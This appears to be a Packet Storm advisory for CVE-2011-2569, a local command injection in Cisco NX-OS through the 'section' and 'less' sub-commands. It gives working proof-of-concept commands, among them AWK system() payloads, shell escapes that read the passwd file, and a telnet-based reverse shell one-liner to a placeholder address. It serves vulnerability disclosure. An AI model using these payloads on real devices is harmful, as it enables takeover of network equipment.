what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco Nexus OS (NX-OS) Command Injection

Cisco Nexus OS (NX-OS) Command Injection
Posted Oct 25, 2011
Authored by Peter Adkins

Cisco Nexus OS (NX-OS) suffers from command injection and sanitization issues. Nexus 7000, 5000, 4000, 3000, 2000, and 1000V are all affected. MDS and UCS are also affected. Local access is required.

tags | exploit, local
systems | cisco
advisories | CVE-2011-2569
SHA-256 | 47ed64acbc222f10e010b71d8e52e2cba99ae9f8d77b045062214f7a5253578c

Cisco Nexus OS (NX-OS) Command Injection

Change Mirror Download
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Discovery by:
1) Peter Adkins <adkins.peter@gmail.com>

Access:
1) Local; authenticated access is required.

CVE-ID:
1) CVE-2011-2569

OS' Affected:
1) Cisco Nexus OS (NX-OS)

Vendor involvement:
1) Alerted - patches available / implemented for some platforms.

Systems / platforms affected:
1) Nexus 7000
2) Nexus 5000
3) Nexus 4000
4) Nexus 3000
5) Nexus 2000
6) Nexus 1000V
7) MDS
8) UCS

Notes:
1) Local access is required. However, unprivileged accounts can gain
access to the underlying Linux operating system, effectively providing
complete access to the device. This could potentially lead to issues
in environments where NOC and other staff are permitted low-level access
for first point of call, etc.

-----------------------------------------------------------------------------
NX-OS - "section" sub-command - Command injection / sanitization issues.
-----------------------------------------------------------------------------

This issue was found on the Nexus 7000 platform. It is believed to
also affect the following platforms:

* Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
* Nexus 5000 ( OS < UNK )
* Nexus 4000 ( OS < UNK )
* Nexus 3000 ( OS < UNK )
* Nexus 2000 ( OS < UNK )
* MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )

The section command appears to be an AWK script to which the requested
string is passed. However, the input does not appear to be sanitized
correctly. As a result, AWK can be used to execute arbitrary commands on the
Linux subsystem.

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/'
> 20110713.awk

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011

This can even be used to remove all files on the bootflash and issue a
'reboot' command to the system. However, rebooting from the Linux subsystem
causes the device to spew messages to the console and lock; rather than
actually reloading the device.

-----------------------------------------------------------------------------
NX-OS - "less" sub-command - Command injection / sanitization issues.
-----------------------------------------------------------------------------

Believed to affect the following versions of software:

1) Nexus 7000 ( OS < 5.1(1) )
2) Nexus 5000 ( OS < 4.2(1)N2(1) )
3) Nexus 4000 ( OS < UNK)
4) Nexus 2000 ( OS < 4.2(1)N2(1) )
5) UCS* ( OS < 1.4(1i) 1.3(1c) )
6) Nexus 1000V ( OS < UNK )
7) MDS ( OS < 5.1(1) )

* On the UCS platform commands injected are executed as root.

As an example:

switch# sh clock | less

Once less is presented we open files by pressing colon and then "e" and
specifying the path to the file.

bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

However, this is just read-only access once again. BUT, if we use the "|"
(pipe) and then "$" key macro, we can execute commands.

!ls -lah > /bootflash/20110715

As shown below, the file has been created on the boot-flash.

switch# dir
97 Jul 15 12:01:44 2011 20110715

Using this method, I have been able to establish a remote shell into the
NX-OS Linux subsystem using the following:

mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs

Even the reboot command is accepted as a valid input. However, rather than
rebooting the device, it causes the system to lock while spewing errors
to the console.

switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot

Broadcast message from root (Fri Jul 15 12:06:39 2011):
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close